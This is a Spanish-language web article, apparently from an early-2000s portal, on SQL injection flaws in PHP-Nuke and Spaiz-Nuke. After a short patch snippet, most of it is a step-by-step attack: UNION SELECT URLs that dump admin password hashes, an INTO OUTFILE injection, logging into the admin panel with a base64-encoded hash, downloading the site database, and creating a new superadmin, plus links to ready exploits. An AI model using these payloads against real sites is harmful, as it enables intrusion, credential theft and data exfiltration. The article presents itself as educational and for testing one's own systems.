Bug peligroso ante el atake de los hackers
Fecha martes, 14 de octubre a las 00:11:05
Tema Bugs


En muchos sitios esta dando vuelta la noticia de una nueva falla en el PHP-Nuke, que permite tomar el control de todo el sistema.
Pero hay cosas que muchos no tiene claro todavia, por eso aqui las explico, y doy mas detalles sobre el tema.....
Te puede descargar los archivos ya modificados AQUÌ


Dale a leer mas



Primero: La falla NO es en el archivo modules.php, sino
que esta presente en los modulos Downloads y Weblinks, entre otros. El archivo
modules.php solo se encarga de incluir los archivos de cada modulo para que asi
la URL quede mas presentable.



Por eso el advisorie:

http://www.securityfocus.com/archive/1/340664



Esta mal desde un principio. Otra cosa para aclarar, que podriamos llamar:



Segundo: Esta falla no tiene nada de nueva, ya que es la misma
descubierta para las vesiones:
- PHP-Nuke 6.0

- PHP-Nuke 6.5 RC3

- PHP-Nuke 6.5 RC2

- PHP-Nuke 6.5 RC1

- PHP-Nuke 6.5 FINAL

- PHP-Nuke 6.5 BETA 1

- PHP-Nuke 6.5

- PHP-Nuke 6.5 with all patches ,

- PHP-Nuke 6.0 with all patches.

- PHP-Nuke 5.5 with all patches
Es por eso que insisto en que no es una nueva falla, ya que en las ultimas
versiones del PHP-Nuke se viene usando los mismo modulos de esas versiones
anteriormente citadas, y que no han sido parcheadas, por eso es que son
vulnerables todas las ultimas versiones del PHP-Nuke, hasta la 6.9
,
segun he comprobado.
No son solo los modulos Downloads y WebLinks, sino todo aquel modulo o pagina
que no controle correctamente sus variables.
Una forma rapida y facil de solucionar esto es controlando el contenido de
las variables de la siguiente forma:
# $variable es la que debemos controlar, asi que cambia su nombre segun te convenga ;)
$variable = addslashes($variable);
if(!isset($variable) || $variable == NULL || !is_numeric ($variable))
{
Header("Location: index.php");
exit();
}
Inyección SQL en PHP-Nuke y Spaiz-Nuke
Eso en el caso de que deba ser numerica, sino basta con quitar el !is_numeric($variable)
de la condicion del IF.
Bueno me voy a dejar de dar vueltas y pasamos al tema de la explotacion de
las falla, que no solo sirve para hacer daño, sino que les permitira testear
sus sistemas y saber como solucionar este tipo de fallas.
Bueno, para poder ver los hashes de los admins, debemos hacer una pequeña
insercion de codigo SQL, en las variales $cid de los modulos en cuestion. Por
ejemplo:
Para el Modulo Download:

http://victima-nukeada/modules.php?name=Downloads&d_op=viewdownload&cid=2%20UNION%20select%20counter,%20aid,%20pwd%20FROM%20nuke_authors%20
Para el Modulo WebLinks:

http://victima-nukeada/modules.php?name=Web_Links&l_op=viewlink&cid=2%20UNION%20select%20counter,%20pwd,%20aid%20FROM%20nuke_authors%20

Nota: Para que funcione en Spaiz-Nuke debes cambiar
nuke_authors por spnuke_authors
Vulnerabilidad en el archivo auth.php:
Esta vulnerabilidad se encuentra en el archivo auth.php, en la función que
comprueba el usuario y la contraseña (Según su descubridor, testeado en spaiz-nuke)

En concreto en la variable $aid, porque no se comprueba que el contenido de la
misma sea seguro. Mediante el uso de las '', es posible crear una URL como esta:

http://victima-nukeada/admin.php?op=login&pwd=123&aid=Admin'%20INTO%20OUTFILE%20'/path_to_file/pwd.txt
En este ejemplo se crea un archivo en /path_to_file/pwd.txt que contiene el
password (encriptado en MD5) del admin.


Accediendo con la contraseña encriptada:



Un atacante puede autentificarse en el PHP-Nuke incluso sin conocer el password
desencriptado.



El método es el siguiente:
Una vez que ya obtuvimos los hashes de los admins, ya sea explotando las
fallas en los modulos como en el auth.php, debemos codificar en base64 el
ususario y la contraseña obtenidos mediante la inyección SQL (o por cualquier
otro método).



Para pasarlo a base64 puedes utilizar cualquier codificador de base64 o puedes
hacerlo online en una web como esta:

http://www.isecurelabs.com/base64.php

http://www.rzw.com.ar/base64nuke.php ;)



Buscamos el equivalente en base64 de la siguiente linea:

login:crypt_.passwd:

donde login es el usuario y crypt_.passwd es la contraseña en MD5
Por ejemplo, con esta linea

admin:21232f297a57a5a743894a0e4a801fc3:
obtendriamos algo así:

YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM6
Ahora podemos acceder al panel del administrador usando una URL de este tipo:

http://victima-nukeada/admin.php?admin=YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM6
Una vez dentro te daras cuenta que cuando quieres acceder a cada opcion del
panel de control te volvera a pedir el password, lo unico que tienes que hacer,
es copiar el enlace de la seccion a la que quieres ingresar y agregarle a dicha
URL los mismo que le pusiste al admin.php para ver el panel de administracion.
Por ejemplo:
Para bajarte la base de datos:

http://victima-nukeada/admin.php?op=backup&admin=YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM6
Creando Admins:
Si queremos ahorrarnos el trabajo de andar colocando esos datos en la URL,
podemos crearnos un nuevo admin con el siguiente exploit escrito en Perl:

http://rst.void.ru/download/r57nuke.txt



Exploit en PHP en Rynho Zeros Web:

http://www.rzw.com.ar/xptnk.php (Usar con moderacion ;)




Puedes hacer esto tambien, mediante un enlace como el siguiente:

http://victima-nukeada/admin.php?op=AddAuthor&add_radminsuper=1&add_name=[Nick]&add_aid=[Nick]&add_email=[Email]&add_pwd=[Password]&admin=[Hash]
Nick corresponde al que tendra el nuevo admin, el email lo mismo, el password
debe ser colocado en texto plano no el hash, y el Hash, es el obtenido
utilizando alguno de los metodos anteriormente explicados y correspondiente al
admin del sitio, preferentemente el God (Admin Principal).


Basado en:

http://www.security.nnov.ru/search/document.asp?docid=5201

http://www.cyruxnet.com.ar/phpnuke_modules.htm



Aclaracion: Este articulo esta basado en el que Cyruxnet
publico en su web, pero se ha modificado para aclarar ciertos puntos, y agregar
otros. Ademas, este texto es con fines didácticos, no nos hacemos responsables
del mal uso que se haga de lo aquí explicado.

Por CATOSINO







Este artículo proviene de Pagina de Inicio :: Rol Cine Trailers Galeria de Imagenes Trucos Postales Gratuitas Vampiros Manga SMS Top Buscador
http://www.paginadeinicio.net

La direcci#243;n de esta noticia es:
http://www.paginadeinicio.net/modules.php?name=News&file=article&sid=30